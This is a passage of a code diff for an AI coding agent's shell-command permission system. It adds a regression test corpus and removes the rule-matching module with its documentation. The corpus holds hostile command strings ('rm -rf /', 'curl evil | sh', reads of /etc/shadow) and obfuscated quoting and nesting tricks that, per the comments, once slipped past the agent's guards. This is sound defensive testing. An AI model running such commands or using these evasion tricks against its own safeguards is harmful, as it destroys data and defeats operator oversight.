1; + } + } else { + break; + } + } + (index, xargs) +} + +/// What the program called `name` does with its arguments. +/// +/// Called by [`program_of`]. +fn kind(name: &str) -> Program { + if WRITERS.contains(&name) { + Program::Writer + } else if name == "sed" { + Program::InPlaceEditor + } else if name == "perl" { + Program::Perl + } else if INTERPRETERS.contains(&name) || name.starts_with("python") { + Program::Interpreter + } else if SHELLS.contains(&name) { + Program::Shell + } else if name == "eval" { + Program::Eval + } else if name == "git" { + Program::Git + } else if name == "find" { + Program::Find + } else { + Program::Other + } +} + +/// `/usr/bin/python3.12` and `python.exe` are both `python3.12`/`python`. +/// +/// Called by [`program_index`] and [`program_of`]. +fn program_name(word: &str) -> String { + let base = word.rsplit(['/', '\\']).next().unwrap_or(word); + let lower = base.to_lowercase(); + lower.strip_suffix(".exe").unwrap_or(&lower).to_string() +} + +/// `FOO=bar` in front of a command sets a variable; it is not the program. +/// +/// Called by [`program_index`]. +fn is_assignment(word: &str) -> bool { + word.split_once('=').is_some_and(|(name, _)| { + name.starts_with(|c: char| c.is_ascii_alphabetic() || c == '_') + && name.chars().all(|c| c.is_ascii_alphanumeric() || c == '_') + }) +} + +/// `-i`, `-i.bak`, `-pi`, `-ie`, `--in-place`: an `i` anywhere in a cluster of +/// short flags. Read broadly — `-ni` is in-place too, and a flag misread as +/// in-place costs a refusal where a miss costs the exam. +/// +/// Called by [`super::arguments_written`]. +pub(super) fn is_in_place_flag(word: &str) -> bool { + if word.starts_with("--") { + return word.starts_with("--in-place"); + } + word.strip_prefix('-') + .is_some_and(|flags| flags.split('.').next().is_some_and(|f| f.contains('i'))) +} + +/// The index of `git`'s subcommand among its arguments, past `-C ` and +/// the other global options that take a value. +/// +/// Called by [`super::arguments_written`]. +pub(super) fn git_subcommand(args: &[&str]) -> Option { + let mut index = 0; + while let Some(arg) = args.get(index) { + if matches!( + *arg, + "-C" | "-c" | "--git-dir" | "--work-tree" | "--namespace" + ) { + index += 2; + } else if arg.starts_with('-') { + index += 1; + } else { + return Some(index); + } + } + None +} + +#[cfg(test)] +mod tests { + use super::{git_subcommand, program_of, Program}; + + /// Assignments, wrappers and their flags are not the program; `xargs` + /// in front of it is remembered. + #[test] + fn the_program_is_found_past_assignments_and_wrappers() { + assert_eq!( + program_of(&["env", "A=1", "xargs", "-0", "rm"]), + (Program::Writer, 4, true) + ); + assert_eq!( + program_of(&["/usr/bin/Python3.EXE", "-c"]), + (Program::Interpreter, 0, false) + ); + assert_eq!(program_of(&["sudo"]), (Program::Other, 1, false)); + } + + #[test] + fn git_global_options_and_their_values_are_skipped() { + assert_eq!( + git_subcommand(&["-C", "repo", "checkout", "--", "f"]), + Some(2) + ); + assert_eq!(git_subcommand(&["--version"]), None); + } +} diff --git a/src/lib.rs b/src/lib.rs index 61df97a..5a8dc5f 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -37,6 +37,8 @@ pub mod mcp_stdio; pub mod migrate; pub mod owner; pub mod parallel; +#[cfg(test)] +mod parser_pins; pub mod permissions; pub mod plan; pub mod plugin_approvals; diff --git a/src/parser_pins.rs b/src/parser_pins.rs new file mode 100644 index 0000000..f8fac4c --- /dev/null +++ b/src/parser_pins.rs @@ -0,0 +1,559 @@ +//! Pinned readings of the parsers that decide what an agent's shell command +//! may do: the protected-path guard's lexer (`guards::shell`), the permission +//! rules' splitter (`permissions::rules`) and the `$'…'` decoder (`ansi_c`). +//! +//! # Why +//! +//! Each of them has closed a real bypass (`>>tests/x` with no space, a command +//! hidden behind `$'\''`). A change to how one of them reads a line is a change +//! to what an agent is allowed to do, so their outputs on a broad corpus are +//! recorded — computed by the code as it stood before it was restructured — and +//! every later version must reproduce them exactly. +//! +//! # The corpus +//! +//! - [`curated`]: every input the modules' own tests use, the shapes those +//! tests were written for (quotes, `$'…'`, escapes, heredocs, redirects with +//! and without a space, operators, subshells, substitutions, comments, +//! unicode, empty and unterminated input), and nesting past the depth limit. +//! Each one's reading is recorded in full, a line each, so a change shows +//! what moved. +//! - [`generated`]: every ordered pair of [`FRAGMENTS`], joined by a space and +//! by nothing — the places where one construct ends and the next begins. +//! Recorded as one FNV-1a digest per first fragment, which keeps the +//! recording small; a mismatch names the group, whose pairs can then be +//! read one by one against the previous version. +//! +//! The recordings live in `tests/pinned/`. They are compared line by line, so +//! a checkout with CRLF line endings reads the same. +//! +//! # Wired to +//! +//! Used by the `pinned_tests` modules of `guards::shell`, +//! `permissions::rules` and `ansi_c`; compiled only for tests. + +/// Command lines whose reading is recorded in full. +const CURATED: &[&str] = &[ + // guards::shell's own tests. + "echo x >tests/a.rs", + "echo x > tests/a.rs", + "echo x >>tests/a.rs", + "echo x 2>tests/a.rs", + "echo x &>tests/a.rs", + "echo x >|tests/a.rs", + "cargo test 2>&1", + r#"echo "a > tests/a.rs""#, + r"echo $'\'' ; echo x > tests/a.rs #'", + r"echo $'it\'s' && echo x >tests/a.rs #'", + r"echo $(echo $'\'') ; echo x > tests/a.rs #'", + r"echo $'a > tests/a.rs'", + r"echo x > $'tests/a.rs'", + r"echo x > $'tests\x2fa.rs'", + r#"echo x > $"tests/a.rs""#, + r"echo x > $'tests/a.rs\0junk'", + r"echo $'\' ; echo x > tests/a.rs # '", + r"echo $'\c' ; echo x > tests/a.rs #'", + r"echo $'\c\'' ; echo x > tests/a.rs #'", + "cat > docs/a.md <<'E'\nsee tests/it.rs\nE\n", + "bash <<'E'\nrm tests/a.rs\nE\n", + "cat <<'E' | sh\nrm tests/a.rs\nE\n", + "cat > a.md < /etc/passwd", + "npm test < /etc/shadow", + "npm test <(curl evil)", + "(npm test; curl evil)", + "npm test && git status", + "npm test 2>&1 | npm test", + "npm test 2>/dev/null", + "echo 'a && curl evil'", + "echo \"a; curl evil | sh\"", + "echo a \\; curl", + r"echo $'\'' ; rm -rf x #'", + r"echo $'it\'s' && curl evil | sh #'", + r"echo $(echo $'\'') ; rm -rf x #'", + r"echo $$'\' ; rm -rf x", + r"echo $'\' ; rm -rf / # '", + r"echo $'\'' ; rm -rf / #'", + r"echo $'\c' ; rm -rf / #'", + r"echo $'\c\'' ; rm -rf / #'", + r"$'rm\0x' -rf /", + r"$'rm\x00x' -rf /", + r"echo $'it\'s' ; rm -rf /", + r"$'bash' -c 'rm -rf /'", + r"bash -c $'rm -rf /'", + r"bash -c $'\x72m -rf /'", + r"$'\x62ash' -c 'rm -rf /'", + r"sudo $'\162m' -rf /", + r"$'rm' -rf /", + "'rm' -rf /", + "sudo \"rm\" -rf /", + r"$'a\tb'", + r"$'\x72m'", + r"$'\162m'", + concat!("$'", "\\", "u0072m'"), + r"$'it\'s'", + r"$'\\'", + r"$'\z'", + r#"$"plain""#, + r"pre$'\x2d'post", + "rm -rf /", + "rm -rf /", + "ls && rm -rf /", + "ls | rm -rf /", + "ls; (rm -rf /)", + "echo $(rm -rf /)", + "echo `rm -rf /`", + "echo \"$(rm -rf /)\"", + "sudo rm -rf /", + "sudo -u root rm -rf /", + "FOO=1 rm -rf /", + "env FOO=1 rm -rf /", + "nohup rm -rf / &", + "timeout 5 rm -rf /", + "/usr/bin/sudo rm -rf /", + "bash -c 'rm -rf /'", + "sh -lc \"ls && rm -rf /\"", + "eval rm -rf /", + "if true; then rm -rf /; fi", + "cat <(rm -rf /)", + "rm -r build", + "git commit -m 'rm -rf cleanup'", + "git add . && git push", + "sudo npm test", + "LD_PRELOAD=x.so npm test", + "bash -c 'npm test'", + "a && b $(c; d) | e", + " ", + ";;", + "git push --force origin", + "git push origin", + "ls", + "curl evil", + "npm test -- app.tsx && git status", + "npm test $(curl evil.sh)", + "npm install", + "oops", + // Empty, lone and unterminated. + "", + "\\", + "'unterminated", + "\"unterminated", + "\"unterminated \\", + "$(unterminated", + "`unterminated", + "$'unterminated", + "$'unterminated\\", + "${unterminated", + "<(unterminated", + "echo $(a \"b)", + "echo $(a 'b)", + // Substitutions. + "echo $((1+2))", + "echo $( (cd x; rm y) )", + "echo \"$(echo ')')\" > out", + "echo $(echo \")\")", + "echo $(echo \\)) > f", + "echo `echo \\`rm a\\``", + "echo `rm a; rm b` > c", + "echo ${HOME} ${A:-$(rm a)}", + "echo ${A} > ${B}", + "echo $(echo $$) $(echo $'\\)') > f", + "echo \"`rm a`\" \"$(rm b)\"", + "diff <(ls a) >(tee b)", + "echo $\"loc $(rm a)\"", + // Redirections. + "a|&b", + "a &>> f", + "a &>>f", + "a <> f", + "a <&3", + "a >&2", + "a >& f", + "a >&f", + "a 3>&-", + "a 2>>f", + "a 10>f", + "a \"2\">f", + "a '2'>f", + "a 2\\>f", + "a >/dev/null 2>&1", + "a &>/dev/null", + "a > /dev/nullx", + "cat <<<'here'", + "cat <<< here > out", + "cat < in > out", + // Heredocs. + "cat <<-E\n\tbody\n\tE\nrm b\n", + "cat < out\nrm tests/a\nE\n", + "cat <<\"E\"\nx\n E \nrm y\n", + "cat < c", + "# only a comment", + "echo x \\\n> f", + "echo x\\\n>f", + "a\r\nb", + "echo \t tab > f", + "echo é日本 > 日本.txt", + "echo \u{0} > f", + "echo \"a\\\"b\" > c", + "echo 'a'\"b\"c > d", + "echo \"$HOME\" > \"$HOME/x\"", + "printf x >>tests/it.rs", + "echo $'\\x41\\101\\u0041\\cA'", + "echo $'a\\'b' $\"c\" $$ $'d'", + "echo $'\\'' $'\\''", + "echo $\"a\\\"b\" > f", + "echo $$$'x' > f", + "echo \\$'x; rm a'", + "echo \"$'x\" ; rm a", + "echo '$'\\''x' ; rm a", +]; + +/// Pieces whose every ordered pair is read: constructs, operators, and the +/// half-open shapes that can run on into whatever follows them. +pub(crate) const FRAGMENTS: &[&str] = &[ + "echo x", + "rm tests/a.rs", + "'a;b'", + "\"a|b\"", + r"$'\''", + r"$'it\'s'", + r"$'\x72m'", + r"$'\c'", + "$\"t\"", + "$$", + "\\;", + "\\", + "$(rm a)", + "`rm a`", + "${HOME}", + "<(cat a)", + "2>&1", + ">>tests/x", + "> /dev/null", + "<<f", + "#c", + ";", + "&&", + "||", + "|", + "&", + "(", + ")", + "{", + "\n", + "é日", + "'open", + "\"open", + "$(open", + "`open", + "$'open", + "bash -c", + "eval", + "sudo -u r", + "x=1", + "find . -delete", + "git checkout", + "python3 -c", +]; + +/// [`CURATED`], and nesting deeper than either reader follows. +pub(crate) fn curated() -> Vec { + let mut lines: Vec = CURATED.iter().map(|s| (*s).to_string()).collect(); + for depth in [7, 8, 9, 10, 12] { + lines.push(format!( + "echo {}rm tests/a{}", + "$(echo ".repeat(depth), + ")".repeat(depth) + )); + lines.push(format!("{}rm tests/a", "eval ".repeat(depth))); + lines.push(format!("{}rm tests/a", "bash -c ".repeat(depth))); + } + lines +} + +/// What every nested command runs at its innermost level: two writes. +const INNERMOST: &str = "rm tests/a; echo x >tests/b"; + +/// One level of nesting: the command that runs `inner`, given its level. +type Level = fn(usize, &str) -> String; + +/// ` -c ""`, escaped as bash escapes inside double quotes. +fn double_quoted(shell: &str, inner: &str) -> String { + let mut out = format!("{shell} -c \""); + for c in inner.chars() { + if matches!(c, '\\' | '"' | '$' | '`') { + out.push('\\'); + } + out.push(c); + } + out.push('"'); + out +} + +/// ` ''`, a quote inside spelled `'\''`. +fn single_quoted(prefix: &str, inner: &str) -> String { + format!("{prefix} '{}'", inner.replace('\'', r"'\''")) +} + +fn bash_dq(_: usize, inner: &str) -> String { + double_quoted("bash", inner) +} + +fn sh_dq(_: usize, inner: &str) -> String { + double_quoted("sh", inner) +} + +fn sh_sq(_: usize, inner: &str) -> String { + single_quoted("sh -c", inner) +} + +fn eval_sq(_: usize, inner: &str) -> String { + single_quoted("eval", inner) +} + +fn substituted(_: usize, inner: &str) -> String { + format!("echo $({inner})") +} + +/// A heredoc fed to `sh`, its delimiter quoted and unique to its level. +fn heredoc(level: usize, inner: &str) -> String { + format!("sh <<'E{level}'\n{inner}\nE{level}\n") +} + +/// Commands nested inside `bash -c`, `sh -c`, `eval`, `$(…)` and heredocs fed +/// to `sh` — quoted, so each level really runs the next — at depths around +/// both readers' limit of 8 and well past it, with [`INNERMOST`]'s writes at +/// the bottom. Named, since the deepest are too long to record whole; the +/// styles whose quoting grows as 3^depth stop at 10. +pub(crate) fn nesting() -> Vec<(String, String)> { + let styles: [(&str, &[Level], &[usize]); 7] = [ + ("bash-dq", &[bash_dq], &[1, 7, 8, 9, 10, 12, 16]), + ("sh-sq", &[sh_sq], &[1, 7, 8, 9, 10]), + ("eval-sq", &[eval_sq], &[1, 7, 8, 9, 10]), + ("subst", &[substituted], &[1, 7, 8, 9, 10, 12, 16]), + ("heredoc", &[heredoc], &[1, 7, 8, 9, 10, 12, 16]), + ("heredoc+sh-dq", &[heredoc, sh_dq], &[7, 8, 9, 10, 12, 16]), + ( + "mixed", + &[bash_dq, sh_sq, substituted, heredoc, eval_sq], + &[5, 7, 8, 9, 10, 12], + ), + ]; + let mut cases = Vec::new(); + for (style, levels, depths) in styles { + for &depth in depths { + let mut command = INNERMOST.to_string(); + for level in 0..depth { + command = levels[level % levels.len()](level, &command); + } + cases.push((format!("{style}x{depth}"), command)); + } + } + cases +} + +/// Every ordered pair of [`FRAGMENTS`], joined by a space and by nothing, +/// grouped by the first fragment. +pub(crate) fn generated() -> Vec<(&'static str, Vec)> { + FRAGMENTS + .iter() + .map(|first| { + let mut lines = Vec::new(); + for second in FRAGMENTS { + lines.push(format!("{first} {second}")); + lines.push(format!("{first}{second}")); + } + (*first, lines) + }) + .collect() +} + +/// `text` quoted, with everything but printable ASCII spelled `\u{…}`, so the +/// recording does not depend on how a toolchain's `Debug` escapes unicode. +pub(crate) fn esc(text: &str) -> String { + let mut out = String::from('"'); + for c in text.chars() { + match c { + '\\' => out.push_str("\\\\"), + '"' => out.push_str("\\\""), + ' '..='~' => out.push(c), + other => out.push_str(&format!("\\u{{{:x}}}", u32::from(other))), + } + } + out.push('"'); + out +} + +/// `[a, b]`, each [`esc`]aped. +pub(crate) fn list>(items: &[S]) -> String { + let inner: Vec = items.iter().map(|s| esc(s.as_ref())).collect(); + format!("[{}]", inner.join(", ")) +} + +/// FNV-1a over `text`, as 16 hex digits: stable on every platform and +/// toolchain, unlike `std`'s hasher. +pub(crate) fn digest(text: &str) -> String { + let mut hash: u64 = 0xcbf2_9ce4_8422_2325; + for byte in text.bytes() { + hash ^= u64::from(byte); + hash = hash.wrapping_mul(0x0100_0000_01b3); + } + format!("{hash:016x}") +} + +/// The recording of `curated` in full, then of each generated group as its +/// first fragment and a digest. `render` reads one command line. +pub(crate) fn record(render: impl Fn(&str) -> String) -> Vec { + let mut lines: Vec = curated().iter().map(|line| render(line)).collect(); + for (first, group) in generated() { + let readings: Vec = group.iter().map(|line| render(line)).collect(); + lines.push(format!("{} {}", esc(first), digest(&readings.join("\n")))); + } + lines +} + +/// Fail, naming the first line that differs, unless `actual` is exactly the +/// recording `golden`. +pub(crate) fn assert_pinned(golden: &str, actual: &[String]) { + let expected: Vec<&str> = golden.lines().collect(); + for (index, (want, got)) in expected.iter().zip(actual).enumerate() { + assert_eq!( + *want, + got.as_str(), + "pinned reading changed at line {}", + index + 1 + ); + } + assert_eq!( + expected.len(), + actual.len(), + "the recording has {} lines and the reading {}", + expected.len(), + actual.len() + ); +} + +#[cfg(test)] +mod tests { + use super::{digest, double_quoted, esc, heredoc, nesting, single_quoted, INNERMOST}; + + /// Each level quotes the next the way the shell unquotes it. + #[test] + fn each_nesting_level_quotes_as_the_shell_unquotes() { + assert_eq!( + double_quoted("sh", r#"a "b" $c `d` \e"#), + r#"sh -c "a \"b\" \$c \`d\` \\e""# + ); + assert_eq!(single_quoted("eval", "it's"), r"eval 'it'\''s'"); + assert_eq!(heredoc(3, "x"), "sh <<'E3'\nx\nE3\n"); + } + + /// Every nesting case is named, and keeps the innermost writes intact. + #[test] + fn every_nesting_case_ends_in_the_innermost_writes() { + let cases = nesting(); + assert_eq!(cases.len(), 43); + assert_eq!( + cases[0], + ("bash-dqx1".to_string(), format!("bash -c \"{INNERMOST}\"")) + ); + assert!(cases.iter().all(|(_, command)| command.contains(INNERMOST))); + } + + /// The recording's spelling does not depend on the platform. + #[test] + fn digests_and_escapes_are_stable() { + assert_eq!(digest(""), "cbf29ce484222325"); + assert_eq!(esc("é\"\\\n"), r#""\u{e9}\"\\\u{a}""#); + } +} diff --git a/src/permissions/rules.rs b/src/permissions/rules.rs deleted file mode 100644 index cce01c5..0000000 --- a/src/permissions/rules.rs +++ /dev/null @@ -1,1329 +0,0 @@ -//! Per-command permission rules: `allow`, `ask` and `deny` lists of -//! `Tool` or `Tool(specifier)`, consulted for every call the toolbox runs. -//! -//! # Where they come from -//! -//! | layer | file | lists honoured | -//! |----------|--------------------------------------------------|---------------------| -//! | managed | [`super::managed::managed_path`] (`managed.toml`) | deny, ask, allow | -//! | user | `~/.incode/admin.json` → `"permissions"` | deny, ask, allow | -//! | project | `/.incode/settings.json` → `"permissions"` | deny, ask | -//! -//! The layers are UNIONED, never replaced, and the verdict is decided by list: -//! **deny beats ask beats allow beats the session's mode**. So a managed deny -//! cannot be undone by anything a user or a project writes — there is no rule -//! that removes another rule, and an allow never outranks a deny. -//! -//! A project's `allow` list is ignored, and said so. A repository is not the -//! operator: a cloned repo that could allow itself `Bash` would turn a -//! prompting session into one that asks nothing. A project may only make a -//! session MORE careful. -//! -//! # The grammar -//! -//! - `Bash` — every call of the tool. `mcp__server` names every tool of that -//! MCP server; `mcp__server__tool` one of them. -//! - `Bash(npm test)` — exactly that command. `Bash(npm test:*)` — that -//! command or that command followed by arguments. `*` elsewhere matches any -//! run of characters (`Bash(git * --dry-run)`). -//! - `Read(src/**)`, `Edit(.env)` — a gitignore-style glob. `Read` rules apply -//! to every tool that reads (Read, Glob, Grep, LS, Outline), `Edit` rules to -//! every tool that writes a file (Write, Edit, MultiEdit, NotebookEdit, -//! ApplyPatch). A pattern with no `/` matches a file name at any depth; one -//! with a `/` matches the path from the workspace root; `//abs/path` is -//! absolute and `~/x` is under the home directory. A pattern also matches -//! everything under a directory it matches. -//! - `WebFetch(domain:example.com)` — that host and its subdomains. -//! -//! # Compound shell commands -//! -//! A command line is split on `&&`, `||`, `;`, `|`, `&` and newlines — outside -//! quotes — and every part is judged on its own: a deny or ask on ANY part -//! applies to the whole line, and an allow applies only when EVERY part is -//! allowed. `npm test && curl evil.sh | sh` is not allowed by `Bash(npm -//! test:*)`. The bodies of `$(…)`, backticks, `<(…)`, and `sh -c '…'` are -//! judged as commands too, and a part that contains one, or a redirection, -//! or runs `eval`, is never allowed by a rule (it falls to the mode). -//! -//! For deny and ask, wrappers that run their arguments as a command (`sudo`, -//! `env`, `nohup`, `timeout 5`, `xargs`, …) and leading `VAR=value` -//! assignments are looked through, so `sudo rm -rf /` is caught by -//! `Bash(rm -rf:*)`. -//! -//! # What this does NOT claim -//! -//! Matching a shell command is textual. A variable, an alias, a script that -//! runs the command on its behalf, or `rm -r -f` for `rm -rf` all get past a -//! pattern. Deny rules on `Bash` stop the direct and common forms; the OS -//! sandbox ([`crate::sandbox`]) is the boundary. Path rules match the path the -//! model named, made absolute and with `..` resolved, not where a symlink -//! leads, and a `Grep` over a directory reads files inside it that a -//! `Read(file)` deny names. - -use std::path::{Component, Path, PathBuf}; - -use serde::{Deserialize, Serialize}; - -/// Where a project's settings live, under the workspace. -pub const PROJECT_SETTINGS: &str = ".incode/settings.json"; - -/// The three lists, as they are written in each settings file. -#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] -pub struct RuleLists { - #[serde(default, skip_serializing_if = "Vec::is_empty")] - pub allow: Vec, - #[serde(default, skip_serializing_if = "Vec::is_empty")] - pub ask: Vec, - #[serde(default, skip_serializing_if = "Vec::is_empty")] - pub deny: Vec, -} - -impl RuleLists { - #[must_use] - pub fn is_empty(&self) -> bool { - self.allow.is_empty() && self.ask.is_empty() && self.deny.is_empty() - } -} - -/// Which settings file a rule came from. -#[derive(Debug, Clone, Copy, PartialEq, Eq)] -pub enum Layer { - Managed, - User, - Project, -} - -impl Layer { - #[must_use] - pub fn as_str(self) -> &'static str { - match self { - Self::Managed => "managed", - Self::User => "user", - Self::Project => "project", - } - } -} - -/// What a rule does when it matches. -#[derive(Debug, Clone, Copy, PartialEq, Eq)] -pub enum Effect { - Deny, - Ask, - Allow, -} - -impl Effect { - #[must_use] - pub fn as_str(self) -> &'static str { - match self { - Self::Deny => "deny", - Self::Ask => "ask", - Self::Allow => "allow", - } - } -} - -/// What a call is about, as the toolbox extracts it from the call's input. -#[derive(Debug, Clone, PartialEq, Eq)] -pub enum Subject { - /// A shell command line. - Command(String), - /// The files the call names, as the model named them. - Paths(Vec), - /// An address the call fetches. - Url(String), - /// Nothing a specifier could match. - None, -} - -/// Where relative paths are resolved, and what `~` is. -#[derive(Debug, Clone)] -pub struct PathContext { - pub workspace: PathBuf, - pub home: Option, -} - -/// The rule that decided a call. -#[derive(Debug, Clone, PartialEq, Eq)] -pub struct Verdict { - pub effect: Effect, - pub rule: String, - pub layer: Layer, -} - -impl Verdict { - /// `deny rule \`Bash(rm:*)\` (managed)`, for a refusal or a question. - #[must_use] - pub fn describe(&self) -> String { - format!( - "{} rule `{}` ({} settings)", - self.effect.as_str(), - self.rule, - self.layer.as_str() - ) - } -} - -// --------------------------------------------------------------------------- -// One rule -// --------------------------------------------------------------------------- - -/// One parsed rule. -#[derive(Debug, Clone)] -pub struct Rule { - /// As written. - pub text: String, - tool: String, - spec: Spec, -} - -#[derive(Debug, Clone)] -enum Spec { - /// Every call of the tool. - Any, - /// A shell command pattern. - Command(CommandPattern), - /// A path glob. - Path(PathPattern), - /// `domain:`. - Domain(String), -} - -/// The tools a `Read(...)` rule covers. -const READ_FAMILY: [&str; 5] = ["Read", "Glob", "Grep", "LS", "Outline"]; -/// The tools an `Edit(...)` rule covers. -const EDIT_FAMILY: [&str; 5] = ["Write", "Edit", "MultiEdit", "NotebookEdit", "ApplyPatch"]; - -impl Rule { - /// Parse `Tool` or `Tool(specifier)`. `home` expands a `~/` path. - /// - /// # Errors - /// - /// The rule is not of that shape, or its pattern does not compile. - pub fn parse(text: &str, home: Option<&Path>) -> Result { - let trimmed = text.trim(); - let (tool, inner) = match trimmed.find('(') { - Some(open) => { - let Some(body) = trimmed[open + 1..].strip_suffix(')') else { - return Err(format!("rule `{text}` opens `(` and does not end with `)`")); - }; - (trimmed[..open].trim(), Some(body.trim())) - } - None => (trimmed, None), - }; - if tool.is_empty() - || !tool - .chars() - .all(|c| c.is_ascii_alphanumeric() || c == '_' || c == '-' || c == '*') - { - return Err(format!("rule `{text}` does not start with a tool name")); - } - let spec = match inner { - None | Some("" | "*" | ":*") => Spec::Any, - Some(body) if tool == "Bash" => Spec::Command(CommandPattern::parse(body)?), - Some(body) if is_path_tool(tool) => Spec::Path(PathPattern::parse(body, home)?), - Some(body) => match body.strip_prefix("domain:") { - Some(host) if !host.trim().is_empty() => { - Spec::Domain(host.trim().to_ascii_lowercase()) - } - // Said, rather than kept as a rule that never matches: a deny - // nobody notices is not applied is worse than none. - _ => { - return Err(format!( - "rule `{text}`: `{tool}` takes no specifier incode understands (Bash \ - takes a command, file tools a path, WebFetch `domain:`); \ - write `{tool}` for every call" - )) - } - }, - }; - Ok(Self { - text: trimmed.to_string(), - tool: tool.to_string(), - spec, - }) - } - - /// Whether this rule names `tool` at all. - fn names(&self, tool: &str) -> bool { - let rule = self.tool.as_str(); - if rule == "*" || rule == tool { - return true; - } - if let Some(prefix) = rule.strip_suffix('*') { - return tool.starts_with(prefix); - } - // `mcp__server` covers each of that server's tools. - if rule.starts_with("mcp__") && rule.matches("__").count() == 1 { - return tool - .strip_prefix(rule) - .is_some_and(|rest| rest.starts_with("__")); - } - (rule == "Read" && READ_FAMILY.contains(&tool)) - || (rule == "Edit" && EDIT_FAMILY.contains(&tool)) - } -} - -fn is_path_tool(tool: &str) -> bool { - READ_FAMILY.contains(&tool) || EDIT_FAMILY.contains(&tool) -} - -// --------------------------------------------------------------------------- -// Shell commands -// --------------------------------------------------------------------------- - -/// A pattern over one simple command, whitespace-normalised. -#[derive(Debug, Clone)] -struct CommandPattern { - regex: regex::Regex, -} - -impl CommandPattern { - fn parse(body: &str) -> Result { - let (body, prefix) = match body.strip_suffix(":*") { - Some(head) => (head, true), - None => (body, false), - }; - let normal = collapse_whitespace(body); - if normal.is_empty() { - return Err("an empty command pattern".to_string()); - } - let mut source = String::from("^"); - for (i, piece) in normal.split('*').enumerate() { - if i > 0 { - source.push_str(".*"); - } - source.push_str(®ex::escape(piece)); - } - if prefix { - // The command itself, or it followed by arguments — never a - // longer word: `npm test:*` does not match `npm testify`. - source.push_str("(?: .*)?"); - } - source.push('$'); - let regex = regex::Regex::new(&source).map_err(|e| e.to_string())?; - Ok(Self { regex }) - } - - fn matches(&self, command: &str) -> bool { - self.regex.is_match(command) - } -} - -fn collapse_whitespace(text: &str) -> String { - text.split_whitespace().collect::>().join(" ") -} - -/// One simple command of a command line, ready to be matched. -#[derive(Debug, Clone, PartialEq, Eq)] -pub struct Segment { - /// As written, whitespace-collapsed. What an allow rule is matched with. - pub text: String, - /// The forms a deny or ask rule is matched with: `text`, and `text` with - /// leading assignments and wrapper commands peeled off, one at a time; - /// each as written and unquoted. - pub peeled: Vec, - /// A part no allow rule may pass: it substitutes a command, redirects, - /// or hands a string to a shell. - pub opaque: bool, -} - -/// Split a command line into its simple commands, quote-aware. -/// -/// Substituted commands (`$(…)`, backticks, `<(…)`, `>(…)`) are returned as -/// segments of their own, after the one they appear in, which is marked -/// opaque. So is the string handed to `sh -c` / `bash -c` / `eval`. -#[must_use] -pub fn split_command(line: &str) -> Vec { - let mut out = Vec::new(); - split_into(line, &mut out, 0); - out -} - -/// How deep `sh -c "sh -c '…'"` is followed before the rest is simply opaque. -const MAX_DEPTH: usize = 8; - -/// `line`'s parts, appended to `out`. -/// -/// `$'…'` is ANSI-C quoting to bash, zsh and ksh, but a `$` and a plain -/// quote to a POSIX `sh` such as dash — the `sh` of Debian and Ubuntu, and -/// incode runs `sh -c` (`tools::shell_choice`). The two readings can end the -/// quote in different places, so a command can hide from one of them. Which -/// shell runs is not known here, so a line with `$'` is read BOTH ways: a deny -/// or ask rule meets the parts of either, and every part is opaque, so no -/// allow rule passes it. `guards::shell::write_targets` does the same. -fn split_into(line: &str, out: &mut Vec, depth: usize) { - if depth > MAX_DEPTH { - out.push(Segment { - text: collapse_whitespace(line), - peeled: vec![collapse_whitespace(line)], - opaque: true, - }); - return; - } - let first = out.len(); - split_reading(line, out, depth, true); - if line.contains("$'") { - split_reading(line, out, depth, false); - for segment in &mut out[first..] { - segment.opaque = true; - } - } -} - -/// One reading of `line`: with `ansi_c`, `$'…'` as bash reads it; without, -/// as a POSIX `sh` does. -fn split_reading(line: &str, out: &mut Vec, depth: usize, ansi_c: bool) { - let chars: Vec = line.chars().collect(); - let mut i = 0; - // The current part, as written; and with quoted text blanked, to look - // for redirections outside quotes. - let mut raw = String::new(); - let mut bare = String::new(); - let mut opaque = false; - let mut inner: Vec = Vec::new(); - let mut quote: Option = None; - - let flush = |raw: &mut String, - bare: &mut String, - opaque: &mut bool, - inner: &mut Vec, - out: &mut Vec| { - finish_segment(raw, bare, *opaque, out, depth); - for body in inner.drain(..) { - split_into(&body, out, depth + 1); - } - raw.clear(); - bare.clear(); - *opaque = false; - }; - - while i < chars.len() { - let c = chars[i]; - let next = chars.get(i + 1).copied(); - match quote { - Some('\'') => { - raw.push(c); - bare.push('_'); - if c == '\'' { - quote = None; - } - i += 1; - continue; - } - Some('"') => { - if c == '\\' { - raw.push(c); - if let Some(n) = next { - raw.push(n); - } - bare.push_str("__"); - i += 2; - continue; - } - if c == '"' { - quote = None; - raw.push(c); - bare.push('_'); - i += 1; - continue; - } - // Substitution happens inside double quotes too. - if (c == '$' && next == Some('(')) || c == '`' { - let (body, end) = substitution(&chars, i, ansi_c); - raw.extend(&chars[i..end]); - bare.push('_'); - inner.push(body); - opaque = true; - i = end; - continue; - } - raw.push(c); - bare.push('_'); - i += 1; - continue; - } - _ => {} - } - match c { - '\\' => { - raw.push(c); - if let Some(n) = next { - raw.push(n); - } - bare.push_str("__"); - i += 2; - } - // `$$`, the shell's pid: a quote after it is an ordinary one. - '$' if next == Some('$') => { - raw.push_str("$$"); - bare.push_str("$$"); - i += 2; - } - // `$'…'`: a backslash escapes the quote, so it ends where bash - // says (`crate::ansi_c`). What it spells is decided by escapes, - // so no allow rule passes the part. - '$' if ansi_c && next == Some('\'') => { - let (_, end) = crate::ansi_c::quoted(&chars, i + 2); - raw.extend(&chars[i..end]); - bare.extend(std::iter::repeat_n('_', end - i)); - opaque = true; - i = end; - } - // `$"…"`: a double-quoted string the locale may translate into - // other text; past the `$` it is read as `"…"`. - '$' if next == Some('"') => { - raw.push(c); - bare.push('_'); - opaque = true; - i += 1; - } - '\'' | '"' => { - quote = Some(c); - raw.push(c); - bare.push('_'); - i += 1; - } - '$' if next == Some('(') => { - let (body, end) = substitution(&chars, i, ansi_c); - raw.extend(&chars[i..end]); - bare.push('_'); - inner.push(body); - opaque = true; - i = end; - } - '`' => { - let (body, end) = substitution(&chars, i, ansi_c); - raw.extend(&chars[i..end]); - bare.push('_'); - inner.push(body); - opaque = true; - i = end; - } - '<' | '>' if next == Some('(') => { - let (body, end) = substitution(&chars, i + 1, ansi_c); - raw.extend(&chars[i..end]); - bare.push('_'); - inner.push(body); - opaque = true; - i = end; - } - ';' | '\n' | '\r' => { - flush(&mut raw, &mut bare, &mut opaque, &mut inner, out); - i += 1; - // `;;` in a case arm: still a separator. - } - '|' => { - flush(&mut raw, &mut bare, &mut opaque, &mut inner, out); - // `||` and `|&` are one operator. - i += if matches!(next, Some('|' | '&')) { - 2 - } else { - 1 - }; - } - '&' => { 